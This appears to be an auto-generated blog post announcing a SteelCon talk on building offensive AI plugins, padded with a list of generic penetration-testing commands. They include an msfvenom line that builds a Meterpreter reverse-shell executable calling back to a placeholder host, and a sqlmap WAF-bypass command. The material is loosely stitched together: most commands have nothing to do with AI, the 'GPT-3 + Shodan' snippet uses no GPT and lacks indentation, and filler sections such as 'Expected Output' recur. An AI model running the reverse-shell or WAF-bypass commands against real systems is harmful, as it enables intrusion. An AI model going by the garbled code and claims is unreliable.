Amplify the Hacker: Offensive AI Plugin Development

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Gareth Heyes, a researcher at PortSwigger Web Security, will present “Amplify the Hacker: Offensive AI Plugin Development” at SteelCon. The talk explores how AI-powered tools can streamline hacking processes by automating repetitive tasks. Heyes will demonstrate four custom-built AI tools and guide attendees on developing their own offensive AI plugins.

You Should Know:

1. AI-Powered Hacking Tools

AI can enhance penetration testing by:

  • Automating vulnerability scanning (nmap -sV --script vulners <target>).
  • Generating exploit payloads (msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=4444 -f exe > exploit.exe).
  • Bypassing WAFs using AI-generated obfuscation (python3 sqlmap.py -u "http://example.com?id=1" --tamper=space2comment).

2. Building Custom AI Plugins

  • Use Python + TensorFlow for training AI models on attack patterns.
  • Example: A XSS detector using NLP:
    from transformers import pipeline 
    classifier = pipeline("text-classification", model="xss-detection-model") 
    result = classifier("<script>alert(1)</script>") 
    print(result) 
    

3. AI-Assisted Reconnaissance

  • Automate OSINT with GPT-3 + Shodan API:
    import shodan 
    api = shodan.Shodan("API_KEY") 
    results = api.search("apache") 
    for result in results['matches']: 
    print(result['ip_str']) 
    

4. AI for Exploit Development

  • Use ROPGenerator (ropper --file /bin/ls --chain execve).
  • AI-assisted fuzzing (afl-fuzz -i input_dir -o output_dir ./target @@).

What Undercode Say

AI is transforming offensive security by reducing manual effort in reconnaissance, exploitation, and evasion. However, ethical considerations remain critical—AI tools must be used responsibly within legal boundaries. Future developments may include AI-driven zero-day discovery and autonomous red teaming agents.

Expected Output:

  • AI-powered hacking tools demo.
  • Steps to build custom AI security plugins.
  • Ethical implications of offensive AI.

Prediction

AI will dominate cybersecurity offense/defense, leading to AI vs. AI cyber battles by 2030.

(Note: No non-cyber URLs were found in the original post.)

References:

Reported By: Gareth Heyes – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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